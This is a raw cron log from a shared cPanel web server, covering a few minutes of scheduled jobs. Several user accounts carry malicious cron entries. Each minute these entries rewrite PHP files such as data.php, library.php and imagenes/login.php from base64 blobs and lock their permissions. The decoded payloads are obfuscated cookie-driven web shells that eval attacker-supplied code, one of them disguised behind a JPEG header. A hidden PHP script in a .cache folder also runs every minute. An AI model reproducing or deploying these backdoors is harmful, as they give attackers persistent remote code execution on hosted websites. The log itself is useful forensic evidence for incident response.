Mar  1 20:47:02 medusa CROND[19799]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:47:02 medusa CROND[19802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:47:02 medusa CROND[19803]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:48:01 medusa CROND[7779]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:48:01 medusa CROND[7897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:48:01 medusa CROND[7899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:48:01 medusa CROND[7900]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:48:01 medusa CROND[7904]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:48:01 medusa CROND[7906]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:48:01 medusa CROND[7907]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:48:01 medusa CROND[7908]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:48:01 medusa CROND[7905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:48:01 medusa CROND[7903]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:48:01 medusa CROND[7912]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:48:01 medusa CROND[7913]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:48:01 medusa CROND[7917]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:49:01 medusa CROND[26921]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:49:01 medusa CROND[27083]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:49:01 medusa CROND[27084]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:49:01 medusa CROND[27085]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Mar  1 20:49:01 medusa CROND[27087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:49:01 medusa CROND[27091]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:49:01 medusa CROND[27095]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:49:01 medusa CROND[27094]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:49:01 medusa CROND[27098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:49:01 medusa CROND[27099]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:49:01 medusa CROND[27100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
